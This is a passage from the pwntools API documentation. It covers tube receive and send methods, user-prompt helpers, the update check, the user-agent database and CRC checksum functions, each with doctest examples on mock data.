>>> with context.local(log_level='debug'):
```

(continues on next page)

(continued from previous page)

```
...     _ = t.recv() # doctest: +ELLIPSIS
[...] Received 0xc bytes:
    b'Hello, world'
```

recvS (**a*, ***kw*)
Same as `recv()`, but returns a str, decoding the result using *context.encoding*. (note that the binary versions are way faster)

recvall () → bytes
Receives data until EOF is reached.

recvallS (**a*, ***kw*)
Same as `recvall()`, but returns a str, decoding the result using *context.encoding*. (note that the binary versions are way faster)

recvallb (**a*, ***kw*)
Same as `recvall()`, but returns a bytearray

recvb (**a*, ***kw*)
Same as `recv()`, but returns a bytearray

recvline (*keepends=True*, *timeout=default*) → bytes
Receive a single line from the tube.

A "line" is any sequence of bytes terminated by the byte sequence set in `newline`, which defaults to `'\n'`.

If the request is not satisfied before `timeout` seconds pass, all data is buffered and an empty string (`''`) is returned.

Parameters

- **keepends** (*bool*) – Keep the line ending (`True`).
- **timeout** (*int*) – Timeout

Returns All bytes received over the tube until the first newline `'\n'` is received. Optionally retains the ending.

Examples

```
>>> t = tube()
>>> t.recv_raw = lambda n: b'Foo\nBar\r\nBaz\n'
>>> t.recvline()
b'Foo\n'
>>> t.recvline()
b'Bar\r\n'
>>> t.recvline(keepends = False)
b'Baz'
>>> t.newline = b'\r\n'
>>> t.recvline(keepends = False)
b'Foo\nBar'
```

recvlineS (**a*, ***kw*)
Same as `recvline()`, but returns a str, decoding the result using *context.encoding*. (note that the binary versions are way faster)

recvline_contains (*items*, *keepends=False*, *timeout=pwnlib.timeout.Timeout.default*)
Receive lines until one line is found which contains at least one of *items*.

Parameters

- **items** (*str, tuple*) – List of strings to search for, or a single string.
- **keepends** (*bool*) – Return lines with newlines if True
- **timeout** (*int*) – Timeout, in seconds

Examples

```
>>> t = tube()
>>> t.recv_raw = lambda n: b"Hello\nWorld\nXylophone\n"
>>> t.recvline_contains(b'r')
b'World'
>>> f = lambda n: b"cat dog bird\napple pear orange\nbicycle car train\n"
>>> t = tube()
>>> t.recv_raw = f
>>> t.recvline_contains(b'pear')
b'apple pear orange'
>>> t = tube()
>>> t.recv_raw = f
>>> t.recvline_contains((b'car', b'train'))
b'bicycle car train'
```

recvline_containsS (**a, **kw*)
Same as `recvline_contains()`, but returns a str, decoding the result using *context.encoding*. (note that the binary versions are way faster)

recvline_containsb (**a, **kw*)
Same as `recvline_contains()`, but returns a bytearray

recvline_endswith (*delims, keepends=False, timeout=default*) → bytes
Keep receiving lines until one is found that ends with one of *delims*. Returns the last line received.

If the request is not satisfied before `timeout` seconds pass, all data is buffered and an empty string (`''`) is returned.

See `recvline_startswith()` for more details.

Examples

```
>>> t = tube()
>>> t.recv_raw = lambda n: b'Foo\nBar\nBaz\nKaboodle\n'
>>> t.recvline_endswith(b'r')
b'Bar'
>>> t.recvline_endswith((b'a',b'b',b'c',b'd',b'e'), True)
b'Kaboodle\n'
>>> t.recvline_endswith(b'oodle')
b'Kaboodle'
```

recvline_endswithS (**a, **kw*)
Same as `recvline_endswith()`, but returns a str, decoding the result using *context.encoding*. (note that the binary versions are way faster)

recvline_endswithb (**a, **kw*)
Same as `recvline_endswith()`, but returns a bytearray

recvline_pred(*pred*, *keepends=False*) → bytes

Receive data until `pred(line)` returns a truthy value. Drop all other data.

If the request is not satisfied before `timeout` seconds pass, all data is buffered and an empty string (`''`) is returned.

Parameters **pred** (*callable*) – Function to call. Returns the line for which this function returns `True`.

Examples

```
>>> t = tube()
>>> t.recv_raw = lambda n: b"Foo\nBar\nBaz\n"
>>> t.recvline_pred(lambda line: line == b"Bar\n")
b'Bar'
>>> t.recvline_pred(lambda line: line == b"Bar\n", keepends=True)
b'Bar\n'
>>> t.recvline_pred(lambda line: line == b'Nope!', timeout=0.1)
b''
```

recvline_regex(*regex*, *exact=False*, *keepends=False*, *timeout=default*) → bytes

Wrapper around *recvline_pred()*, which will return when a regex matches a line.

By default `re.RegexObject.search()` is used, but if *exact* is set to True, then `re.RegexObject.match()` will be used instead.

If the request is not satisfied before `timeout` seconds pass, all data is buffered and an empty string (`''`) is returned.

recvline_regexS(**a*, ***kw*)

Same as *recvline_regex()*, but returns a str, decoding the result using *context.encoding*. (note that the binary versions are way faster)

recvline_regexb(**a*, ***kw*)

Same as *recvline_regex()*, but returns a bytearray

recvline_startswith(*delims*, *keepends=False*, *timeout=default*) → bytes

Keep receiving lines until one is found that starts with one of *delims*. Returns the last line received.

If the request is not satisfied before `timeout` seconds pass, all data is buffered and an empty string (`''`) is returned.

Parameters

- **delims** (*str, tuple*) – List of strings to search for, or string of single characters
- **keepends** (*bool*) – Return lines with newlines if `True`
- **timeout** (*int*) – Timeout, in seconds

Returns The first line received which starts with a delimiter in `delims`.

Examples

```
>>> t = tube()
>>> t.recv_raw = lambda n: b"Hello\nWorld\nXylophone\n"
>>> t.recvline_startswith((b'W',b'X',b'Y',b'Z'))
b'World'
>>> t.recvline_startswith((b'W',b'X',b'Y',b'Z'), True)
```

(continues on next page)

(continued from previous page)

```
b'Xylophone\n'
>>> t.recvline_startswith(b'Wo')
b'World'
```

recvline_startswithS(**a*, ***kw*)
Same as `recvline_startswith()`, but returns a str, decoding the result using *context.encoding*. (note that the binary versions are way faster)

recvline_startswithb(**a*, ***kw*)
Same as `recvline_startswith()`, but returns a bytearray

recvlineb(**a*, ***kw*)
Same as `recvline()`, but returns a bytearray

recvlines(*numlines*, *keepends=False*, *timeout=default*) → list of bytes objects
Receive up to `numlines` lines.

A "line" is any sequence of bytes terminated by the byte sequence set by `newline`, which defaults to `'\n'`.

If the request is not satisfied before `timeout` seconds pass, all data is buffered and an empty string (`''`) is returned.

Parameters

- **numlines** (*int*) – Maximum number of lines to receive
- **keepends** (*bool*) – Keep newlines at the end of each line (`False`).
- **timeout** (*int*) – Maximum timeout

Raises **exceptions.EOFError** – The connection closed before the request could be satisfied

Returns A string containing bytes received from the socket, or `''` if a timeout occurred while waiting.

Examples

```
>>> t = tube()
>>> t.recv_raw = lambda n: b'\n'
>>> t.recvlines(3)
[b'', b'', b'']
>>> t.recv_raw = lambda n: b'Foo\nBar\nBaz\n'
>>> t.recvlines(3)
[b'Foo', b'Bar', b'Baz']
>>> t.recvlines(3, True)
[b'Foo\n', b'Bar\n', b'Baz\n']
```

recvlinesS(*numlines*, *keepends=False*, *timeout=default*) → str list
This function is identical to `recvlines()`, but decodes the received bytes into string using `context.encoding()`. You should use `recvlines()` whenever possible for better performance.

Examples

```
>>> t = tube()
>>> t.recv_raw = lambda n: b'\n'
>>> t.recvlinesS(3)
['', '', '']
>>> t.recv_raw = lambda n: b'Foo\nBar\nBaz\n'
>>> t.recvlinesS(3)
['Foo', 'Bar', 'Baz']
```

recvlinesb (*numlines*, *keepends=False*, *timeout=default*) → bytearray list
This function is identical to *recvlines()*, but returns a bytearray.

Examples

```
>>> t = tube()
>>> t.recv_raw = lambda n: b'\n'
>>> t.recvlinesb(3)
[bytearray(b''), bytearray(b''), bytearray(b'')]
>>> t.recv_raw = lambda n: b'Foo\nBar\nBaz\n'
>>> t.recvlinesb(3)
[bytearray(b'Foo'), bytearray(b'Bar'), bytearray(b'Baz')]
```

recvn (*numb*, *timeout = default*) → str
Receives exactly *n* bytes.

If the request is not satisfied before `timeout` seconds pass, all data is buffered and an empty string (`''`) is returned.

Raises **exceptions.EOFError** – The connection closed before the request could be satisfied

Returns A string containing bytes received from the socket, or `''` if a timeout occurred while waiting.

Examples

```
>>> t = tube()
>>> data = b'hello world'
>>> t.recv_raw = lambda *a: data
>>> t.recvn(len(data)) == data
True
>>> t.recvn(len(data)+1) == data + data[:1]
True
>>> t.recv_raw = lambda *a: None
>>> # The remaining data is buffered
>>> t.recv() == data[1:]
True
>>> t.recv_raw = lambda *a: time.sleep(0.01) or b'a'
>>> t.recvn(10, timeout=0.05)
b''
>>> t.recvn(10, timeout=0.06) # doctest: +ELLIPSIS
b'aaaaaa...'
```

recvnS (**a*, ***kw*)
Same as *recvn()*, but returns a str, decoding the result using *context.encoding*. (note that the binary versions are way faster)

recvnb(**a*, ***kw*)
Same as `recvn()`, but returns a bytearray

recvpred(*pred*, *timeout = default*) → bytes
Receives one byte at a time from the tube, until `pred(all_bytes)` evaluates to True.

If the request is not satisfied before `timeout` seconds pass, all data is buffered and an empty string (`''`) is returned.

Parameters

- **pred** (`callable`) – Function to call, with the currently-accumulated data.
- **timeout** (`int`) – Timeout for the operation

Raises **exceptions.EOFError** – The connection is closed

Returns A bytes object containing bytes received from the socket, or `''` if a timeout occurred while waiting.

recvpredS(**a*, ***kw*)
Same as `recvpred()`, but returns a str, decoding the result using *context.encoding*. (note that the binary versions are way faster)

recvpredb(**a*, ***kw*)
Same as `recvpred()`, but returns a bytearray

recvregex(*regex*, *exact=False*, *timeout=default*) → bytes
Wrapper around `recvpred()`, which will return when a regex matches the string in the buffer.

By default `re.RegexObject.search()` is used, but if *exact* is set to True, then `re.RegexObject.match()` will be used instead.

If the request is not satisfied before `timeout` seconds pass, all data is buffered and an empty string (`''`) is returned.

recvregexS(**a*, ***kw*)
Same as `recvregex()`, but returns a str, decoding the result using *context.encoding*. (note that the binary versions are way faster)

recvregexb(**a*, ***kw*)
Same as `recvregex()`, but returns a bytearray

recvrepeat(*timeout=default*) → bytes
Receives data until a timeout or EOF is reached.

Examples

```
>>> data = [
... b'd',
... b'', # simulate timeout
... b'c',
... b'b',
... b'a',
... ]
>>> def delayrecv(n, data=data):
...     return data.pop()
>>> t = tube()
>>> t.recv_raw = delayrecv
>>> t.recvrepeat(0.2)
b'abc'
```

(continues on next page)

(continued from previous page)

```
>>> t.recv()
b'd'
```

recvrepeatS(**a*, ***kw*)
Same as *recvrepeat()*, but returns a str, decoding the result using *context.encoding*. (note that the binary versions are way faster)

recvrepeatb(**a*, ***kw*)
Same as *recvrepeat()*, but returns a bytearray

recvuntil(*delims*, *drop=False*, *timeout=default*) → bytes
Receive data until one of *delims* is encountered.

If the request is not satisfied before `timeout` seconds pass, all data is buffered and an empty string (`''`) is returned.

Parameters

- **delims** (*bytes*, *tuple*) – Byte-string of delimiters characters, or list of delimiter byte-strings.
- **drop** (*bool*) – Drop the ending. If `True` it is removed from the end of the return value.

Raises **exceptions.EOFError** – The connection closed before the request could be satisfied

Returns A string containing bytes received from the socket, or `''` if a timeout occurred while waiting.

Examples

```
>>> t = tube()
>>> t.recv_raw = lambda n: b"Hello World!"
>>> t.recvuntil(b' ')
b'Hello '
>>> _=t.clean(0)
>>> # Matches on 'o' in 'Hello'
>>> t.recvuntil((b' ',b'W',b'o',b'r'))
b'Hello'
>>> _=t.clean(0)
>>> # Matches expressly full string
>>> t.recvuntil(b' Wor')
b'Hello Wor'
>>> _=t.clean(0)
>>> # Matches on full string, drops match
>>> t.recvuntil(b' Wor', drop=True)
b'Hello'
```

```
>>> # Try with regex special characters
>>> t = tube()
>>> t.recv_raw = lambda n: b"Hello|World"
>>> t.recvuntil(b'|', drop=True)
b'Hello'
```

recvuntilS(**a*, ***kw*)
Same as *recvuntil()*, but returns a str, decoding the result using *context.encoding*. (note that the binary versions are way faster)

recvuntilb (**a*, ***kw*)
Same as `recvuntil()`, but returns a bytearray

send (*data*)
Sends data.

If log level `DEBUG` is enabled, also prints out the data received.

If it is not possible to send anymore because of a closed connection, it raises `exceptions.EOFError`

Examples

```
>>> def p(x): print(repr(x))
>>> t = tube()
>>> t.send_raw = p
>>> t.send(b'hello')
b'hello'
```

sendafter (*delim*, *data*, *timeout = default*) → str
A combination of `recvuntil(delim, timeout=timeout)` and `send(data)`.

sendline (*data*)
Shorthand for `t.send(data + t.newline)`.

Examples

```
>>> def p(x): print(repr(x))
>>> t = tube()
>>> t.send_raw = p
>>> t.sendline(b'hello')
b'hello\n'
>>> t.newline = b'\r\n'
>>> t.sendline(b'hello')
b'hello\r\n'
```

sendlineafter (*delim*, *data*, *timeout = default*) → str
A combination of `recvuntil(delim, timeout=timeout)` and `sendline(data)`.

sendlinethen (*delim*, *data*, *timeout = default*) → str
A combination of `sendline(data)` and `recvuntil(delim, timeout=timeout)`.

sendthen (*delim*, *data*, *timeout = default*) → str
A combination of `send(data)` and `recvuntil(delim, timeout=timeout)`.

settimeout (*timeout*)
Set the timeout for receiving operations. If the string "default" is given, then `context.timeout` will be used. If None is given, then there will be no timeout.

Examples

```
>>> t = tube()
>>> t.settimeout_raw = lambda t: None
>>> t.settimeout(3)
>>> t.timeout == 3
True
```

shutdown(*direction = "send"*)
Closes the tube for futher reading or writing depending on *direction*.

Parameters direction (*str*) – Which direction to close; "in", "read" or "recv" closes the tube in the ingoing direction, "out", "write" or "send" closes it in the outgoing direction.

Returns None

Examples

```
>>> def p(x): print(x)
>>> t = tube()
>>> t.shutdown_raw = p
>>> _=list(map(t.shutdown, ('in', 'read', 'recv', 'out', 'write', 'send')))
recv
recv
recv
send
send
send
>>> t.shutdown('bad_value') #doctest: +ELLIPSIS
Traceback (most recent call last):
...
KeyError: "direction must be in ['in', 'out', 'read', 'recv', 'send', 'write']
↪"
```

spawn_process(**args*, ***kwargs*)
Spawns a new process having this tube as stdin, stdout and stderr.

Takes the same arguments as subprocess.Popen.

stream()
Receive data until the tube exits, and print it to stdout.

Similar to *interactive()*, except that no input is sent.

Similar to print(tube.recvall()) except that data is printed as it is received, rather than after all data is received.

Parameters line_mode (*bool*) – Whether to receive line-by-line or raw data.

Returns All data printed.

timeout_change()
Informs the raw layer of the tube that the timeout has changed.

Should not be called directly.

Inherited from Timeout.

unread(**a*, ***kw*)
Alias for *unrecv()*

unrecv(*data*)
Puts the specified data back at the beginning of the receive buffer.

Examples

```
>>> t = tube()
>>> t.recv_raw = lambda n: b'hello'
>>> t.recv()
b'hello'
>>> t.recv()
b'hello'
>>> t.unrecv(b'world')
>>> t.recv()
b'world'
>>> t.recv()
b'hello'
```

wait (*timeout=pwnlib.timeout.Timeout.default*)
Waits until the tube is closed.

wait_for_close (*timeout=pwnlib.timeout.Timeout.default*)
Waits until the tube is closed.

write (**a, **kw*)
Alias for `send()`

write_raw (**a, **kw*)
Alias for `send_raw()`

writeafter (**a, **kw*)
Alias for `sendafter()`

writeline (**a, **kw*)
Alias for `sendline()`

writelineafter (**a, **kw*)
Alias for `sendlineafter()`

writelines (**a, **kw*)
Alias for `sendlines()`

writelinethen (**a, **kw*)
Alias for `sendlinethen()`

writethen (**a, **kw*)
Alias for `sendthen()`

newline
Character sent with methods like sendline() or used for recvline().

```
>>> t = tube()
>>> t.newline = b'X'
>>> t.unrecv(b'A\nB\nCX')
>>> t.recvline()
b'A\nB\nCX'
```

```
>>> t = tube()
>>> context.newline = b'\r\n'
>>> t.newline
b'\r\n'
```

Clean up >>> context.clear()

2.33 `pwnlib.ui` — Functions for user interaction

`pwnlib.ui.more(text)`

Shows text like the command line tool `more`.

It not in term_mode, just prints the data to the screen.

Parameters **text** (*str*) – The text to show.

Returns None

Tests:

```
>>> more("text")
text
>>> p = testpwnproc("more('text\\n' * (term.height + 2))")
>>> p.send(b"x")
>>> data = p.recvall()
>>> b"text" in data or data
True
```

`pwnlib.ui.options(prompt, opts, default=None)`

Presents the user with a prompt (typically in the form of a question) and a number of options.

Parameters

- **prompt** (*str*) – The prompt to show
- **opts** (*list*) – The options to show to the user
- **default** – The default option to choose

Returns The users choice in the form of an integer.

Examples:

```
>>> options("Select a color", ("red", "green", "blue"), "green")
Traceback (most recent call last):
...
ValueError: options(): default must be a number or None
```

Tests:

```
>>> p = testpwnproc("print(options('select a color', ('red', 'green', 'blue')))")
>>> p.sendline(b"\33[C\33[A\33[A\33[B\33[1;5A\33[1;5B 0310")
>>> _ = p.recvall()
>>> saved_stdin = sys.stdin
>>> try:
...     sys.stdin = io.TextIOWrapper(io.BytesIO(b"\n4\n\n3\n"))
...     with context.local(log_level="INFO"):
...         options("select a color A", ("red", "green", "blue"), 0)
...         options("select a color B", ("red", "green", "blue"))
... finally:
...     sys.stdin = saved_stdin
 [?] select a color A
       1) red
       2) green
       3) blue
     Choice [1] 0
 [?] select a color B
       1) red
```

(continues on next page)

(continued from previous page)

```
      2) green
      3) blue
    Choice  [?] select a color B
      1) red
      2) green
      3) blue
    Choice  [?] select a color B
      1) red
      2) green
      3) blue
    Choice 2
```

pwnlib.ui.**pause**(*n=None*)

Waits for either user input or a specific number of seconds.

Examples:

```
>>> with context.local(log_level="INFO"):
...     pause(1)
[x] Waiting
[x] Waiting: 1...
[+] Waiting: Done
>>> pause("whatever")
Traceback (most recent call last):
...
ValueError: pause(): n must be a number or None
```

Tests:

```
>>> saved_stdin = sys.stdin
>>> try:
...     sys.stdin = io.TextIOWrapper(io.BytesIO(b"\n"))
...     with context.local(log_level="INFO"):
...         pause()
... finally:
...     sys.stdin = saved_stdin
[*] Paused (press enter to continue)
>>> p = testpwnproc("pause()")
>>> b"Paused" in p.recvuntil(b"press any")
True
>>> p.send(b"x")
>>> _ = p.recvall()
```

pwnlib.ui.**yesno**(*prompt*, *default=None*)

Presents the user with prompt (typically in the form of question) which the user must answer yes or no.

Parameters

- **prompt** (*str*) – The prompt to show
- **default** – The default option; *True* means "yes"

Returns *True* if the answer was "yes", *False* if "no"

Examples:

```
>>> yesno("A number:", 20)
Traceback (most recent call last):
```

(continues on next page)

(continued from previous page)

```
...
ValueError: yesno(): default must be a boolean or None
>>> saved_stdin = sys.stdin
>>> try:
...     sys.stdin = io.TextIOWrapper(io.BytesIO(b"x\nyes\nno\n\n"))
...     yesno("is it good 1")
...     yesno("is it good 2", True)
...     yesno("is it good 3", False)
... finally:
...     sys.stdin = saved_stdin
 [?] is it good 1 [yes/no] Please answer yes or no
 [?] is it good 1 [yes/no] True
 [?] is it good 2 [Yes/no] False
 [?] is it good 3 [yes/No] False
```

Tests:

```
>>> p = testpwnproc("print(yesno('is it ok??'))")
>>> b"is it ok" in p.recvuntil(b"??")
True
>>> p.sendline(b"x\nny")
>>> b"True" in p.recvall()
True
```

2.34 pwnlib.update — Updating Pwntools

Pwntools Update

In order to ensure that Pwntools users always have the latest and greatest version, Pwntools automatically checks for updates.

Since this update check takes a moment, it is only performed once every week. It can be permanently disabled via:

```
$ echo never > ~/.cache/.pwntools-cache-*/update
```

Or adding the following lines to ~/.pwn.conf (or system-wide /etc/pwn.conf):

```
[update]
interval=never
```

pwnlib.update.**available_on_pypi**(*prerelease=False*)
Return True if an update is available on PyPI.

```
>>> available_on_pypi() # doctest: +ELLIPSIS
<Version('...')>
>>> available_on_pypi(prerelease=False).is_prerelease
False
```

pwnlib.update.**cache_file**()
Returns the path of the file used to cache update data, and ensures that it exists.

pwnlib.update.**last_check**()
Return the date of the last check

pwnlib.update.**perform_check**(*prerelease=False*)
Perform the update check, and report to the user.

Parameters **prerelease** (*bool*) – Whether or not to include pre-release versions.

Returns A list of arguments to the update command.

```
>>> from packaging.version import Version
>>> pwnlib.update.current_version = Version("999.0.0")
>>> print(perform_check())
None
>>> pwnlib.update.current_version = Version("0.0.0")
>>> perform_check() # doctest: +ELLIPSIS
['pip', 'install', '-U', ...]
```

```
>>> def bail(*a): raise Exception()
>>> pypi   = pwnlib.update.available_on_pypi
```

```
>>> perform_check(prerelease=False)
['pip', 'install', '-U', 'pwntools']
>>> perform_check(prerelease=True)  # doctest: +ELLIPSIS
['pip', 'install', '-U', 'pwntools...']
```

pwnlib.update.**should_check**()

Return True if we should check for an update

2.35 pwnlib.useragents — A database of useragent strings

Database of >22,000 user agent strings

pwnlib.useragents.**getall**() → str set

Get all the user agents that we know about.

Parameters **None** –

Returns A set of user agent strings.

Examples

```
>>> 'libcurl-agent/1.0' in getall()
True
>>> 'wget' in getall()
True
```

pwnlib.useragents.**random**() → str

Get a random user agent string.

Parameters **None** –

Returns A random user agent string selected from *getall()*.

```
>>> import random as randommod
>>> randommod.seed(1)
>>> random() # doctest: +SKIP
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts;␣
↪FunWebProducts-MyTotalSearch; iebar)'
```

2.36 `pwnlib.util.crc` — Calculating CRC-sums

Module for calculating CRC-sums.

Contains all crc implementations know on the interwebz. For most implementations it contains only the core crc algorithm and not e.g. padding schemes.

It is horribly slow, as implements a naive algorithm working direclty on bit polynomials. This class is exposed as *BitPolynom*.

The current algorithm is super-linear and takes about 4 seconds to calculate the crc32-sum of `'A'*40000`.

An obvious optimization would be to actually generate some lookup-tables.

This doctest is to ensure that the known data are accurate:

```
>>> known = sys.modules['pwnlib.util.crc.known']
>>> known.all_crcs == known.generate()
True
```

class pwnlib.util.crc.**BitPolynom**(*n*)

Class for representing GF(2)[X], i.e. the field of polynomials over GF(2).

In practice the polynomials are represented as numbers such that *x**n* corresponds to *1 << n*. In this representation calculations are easy: Just do everything as normal, but forget about everything the carries.

Addition becomes xor and multiplication becomes carry-less multiplication.

Examples

```
>>> p1 = BitPolynom("x**3 + x + 1")
>>> p1
BitPolynom('x**3 + x + 1')
>>> int(p1)
11
>>> p1 == BitPolynom(11)
True
>>> p2 = BitPolynom("x**2 + x + 1")
>>> p1 + p2
BitPolynom('x**3 + x**2')
>>> p1 * p2
BitPolynom('x**5 + x**4 + 1')
>>> p1 // p2
BitPolynom('x + 1')
>>> p1 % p2
BitPolynom('x')
>>> d, r = divmod(p1, p2)
>>> d * p2 + r == p1
True
>>> BitPolynom(-1)
Traceback (most recent call last):
    ...
ValueError: Polynomials cannot be negative: -1
>>> BitPolynom('y')
Traceback (most recent call last):
    ...
ValueError: Not a valid polynomial: y
```

__eq__(*other*)
x.__eq__(y) <==> x==y

__hash__() <==> *hash(x)*

__init__(*n*)
x.__init__(...) initializes x; see help(type(x)) for signature

__repr__() <==> *repr(x)*

degree()
Returns the degree of the polynomial.

Examples

```
>>> BitPolynom(0).degree()
0
>>> BitPolynom(1).degree()
0
>>> BitPolynom(2).degree()
1
>>> BitPolynom(7).degree()
2
>>> BitPolynom((1 << 10) - 1).degree()
9
>>> BitPolynom(1 << 10).degree()
10
```

__weakref__
list of weak references to the object (if defined)

pwnlib.util.crc.**generic_crc**(*data, polynom, width, init, refin, refout, xorout*)
A generic CRC-sum function.

This is suitable to use with: http://reveng.sourceforge.net/crc-catalogue/all.htm

The "check" value in the document is the CRC-sum of the string "123456789".

Parameters

- **data** (*str*) – The data to calculate the CRC-sum of. This should either be a string or a list of bits.
- **polynom** (*int*) – The polynomial to use.
- **init** (*int*) – If the CRC-sum was calculated in hardware, then this would b the initial value of the checksum register.
- **refin** (*bool*) – Should the input bytes be reflected?
- **refout** (*bool*) – Should the checksum be reflected?
- **xorout** (*int*) – The value to xor the checksum with before outputting

pwnlib.util.crc.**cksum**(*data*) → int
Calculates the same checksum as returned by the UNIX-tool `cksum`.

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(cksum(b'123456789'))
930766865
```

pwnlib.util.crc.**find_crc_function**(*data*, *checksum*)

Finds all known CRC functions that hashes a piece of data into a specific checksum. It does this by trying all known CRC functions one after the other.

Parameters **data** (*str*) – Data for which the checksum is known.

Example

```
>>> find_crc_function(b'test', 46197)
[<function crc_crc_16_dnp at ...>]
```

pwnlib.util.crc.**arc**(*data*) → int

Calculates the arc checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x8005
- width = 16
- init = 0x0
- refin = True
- refout = True
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.16

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(arc(b'123456789'))
47933
```

pwnlib.util.crc.**crc_10**(*data*) → int

Calculates the crc_10 checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x233
- width = 10
- init = 0x0
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.10

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_10(b'123456789'))
409
```

pwnlib.util.crc.**crc_10_cdma2000**(*data*) → int

Calculates the crc_10_cdma2000 checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x3d9
- width = 10
- init = 0x3ff
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-10-cdma2000

Parameters data (*str*) – The data to checksum.

Example

```
>>> print(crc_10_cdma2000(b'123456789'))
563
```

pwnlib.util.crc.**crc_10_gsm**(*data*) → int

Calculates the crc_10_gsm checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x175
- width = 10
- init = 0x0
- refin = False
- refout = False
- xorout = 0x3ff

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-10-gsm

Parameters data (*str*) – The data to checksum.

Example

```
>>> print(crc_10_gsm(b'123456789'))
298
```

pwnlib.util.crc.**crc_11**(*data*) → int

Calculates the crc_11 checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x385
- width = 11
- init = 0x1a
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.11

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_11(b'123456789'))
1443
```

pwnlib.util.crc.**crc_11_umts**(*data*) → int
Calculates the crc_11_umts checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x307
- width = 11
- init = 0x0
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-11-umts

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_11_umts(b'123456789'))
97
```

pwnlib.util.crc.**crc_12_cdma2000**(*data*) → int
Calculates the crc_12_cdma2000 checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0xf13
- width = 12
- init = 0xfff
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.12

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_12_cdma2000(b'123456789'))
3405
```

pwnlib.util.crc.**crc_12_dect**(*data*) → int

Calculates the crc_12_dect checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x80f
- width = 12
- init = 0x0
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-12-dect

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_12_dect(b'123456789'))
3931
```

pwnlib.util.crc.**crc_12_gsm**(*data*) → int

Calculates the crc_12_gsm checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0xd31
- width = 12
- init = 0x0
- refin = False
- refout = False
- xorout = 0xfff

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-12-gsm

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_12_gsm(b'123456789'))
2868
```

pwnlib.util.crc.**crc_12_umts**(*data*) → int

Calculates the crc_12_umts checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x80f
- width = 12
- init = 0x0
- refin = False
- refout = True
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-12-umts

Parameters data (*str*) – The data to checksum.

Example

```
>>> print(crc_12_umts(b'123456789'))
3503
```

pwnlib.util.crc.**crc_13_bbc**(*data*) → int

Calculates the crc_13_bbc checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x1cf5
- width = 13
- init = 0x0
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.13

Parameters data (*str*) – The data to checksum.

Example

```
>>> print(crc_13_bbc(b'123456789'))
1274
```

pwnlib.util.crc.**crc_14_darc**(*data*) → int

Calculates the crc_14_darc checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x805
- width = 14
- init = 0x0
- refin = True

- refout = True
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.14

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_14_darc(b'123456789'))
2093
```

pwnlib.util.crc.**crc_14_gsm**(*data*) → int
Calculates the crc_14_gsm checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x202d
- width = 14
- init = 0x0
- refin = False
- refout = False
- xorout = 0x3fff

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-14-gsm

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_14_gsm(b'123456789'))
12462
```

pwnlib.util.crc.**crc_15**(*data*) → int
Calculates the crc_15 checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x4599
- width = 15
- init = 0x0
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.15

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_15(b'123456789'))
1438
```

pwnlib.util.crc.**crc_15_mpt1327**(*data*) → int

Calculates the crc_15_mpt1327 checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x6815
- width = 15
- init = 0x0
- refin = False
- refout = False
- xorout = 0x1

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-15-mpt1327

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_15_mpt1327(b'123456789'))
9574
```

pwnlib.util.crc.**crc_16_aug_ccitt**(*data*) → int

Calculates the crc_16_aug_ccitt checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x1021
- width = 16
- init = 0x1d0f
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-aug-ccitt

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_16_aug_ccitt(b'123456789'))
58828
```

